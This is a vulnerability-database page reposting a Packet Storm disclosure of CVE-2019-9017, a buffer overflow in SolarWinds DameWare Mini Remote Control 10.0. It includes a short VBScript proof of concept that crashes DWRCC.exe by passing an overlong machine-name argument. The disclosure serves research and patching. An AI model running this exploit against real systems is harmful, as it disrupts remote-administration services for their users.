Lucene search
K

SolarWinds DameWare Mini Remote Control 10.0 Denial Of Service

🗓️ 03 May 2019 00:00:00Reported by Dino BarlattaniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 482 Views

The SolarWinds Dameware Mini Remote Control 10.0 on Windows 7 SP1 x64 is vulnerable to a buffer overflow via the machine name parameter, potentially leading to a Denial of Service

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SolarWinds DameWare Mini Remote Control 10.0 - Denial of Service Exploit
3 May 201900:00
zdt
Circl
CVE-2019-9017
14 Nov 202406:07
circl
CVE
CVE-2019-9017
2 May 201918:54
cve
Cvelist
CVE-2019-9017
2 May 201918:54
cvelist
Exploit DB
SolarWinds DameWare Mini Remote Control 10.0 - Denial of Service
3 May 201900:00
exploitdb
exploitpack
SolarWinds DameWare Mini Remote Control 10.0 - Denial of Service
3 May 201900:00
exploitpack
NVD
CVE-2019-9017
2 May 201919:29
nvd
OSV
CVE-2019-9017
2 May 201919:29
osv
Prion
Buffer overflow
2 May 201919:29
prion
Positive Technologies
PT-2019-19312 · Solarwinds · Solarwinds Dameware Mini Remote Control
2 May 201900:00
ptsecurity
Rows per page
`#Vendor: Solarwinds  
#Site Vendor: https://www.dameware.com/  
#Product: Dameware Mini Remote Control  
#Version: 10.0 x64  
#Platform: Windows  
#Tested on: Windows 7 SP1 x64  
#Dscription: The DWRCC executable file is affected by a buffer overflow vulnerability.  
#The buffer size passed in on the machine name parameter is not checked  
#Vector: pass buffer to the machine host name parameter  
  
#Author: Dino Barlattani [email protected]  
#Link: http://www.binaryworld.it  
  
#CVE ID: CVE-2019-9017  
  
#POC in VB Script  
  
option explicit  
dim fold,exe,buf,i,wsh,fso,result  
exe = "DWRCC.exe"  
fold = "C:\program files\SolarWinds\DameWare Mini Remote Control 10.0 x64  
#1\"  
for i = 0 to 300  
buf = buf & "A"  
next  
set wsh = createobject("wscript.shell")  
set fso = createobject("scripting.filesystemobject")  
if fso.folderexists(fold) then  
fold = fold & exe  
fold = chr(34) & fold & chr(34)  
result = wsh.run(fold & " -c: -h: -m:" & buf,0,true)  
end if  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 May 2019 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.21031
482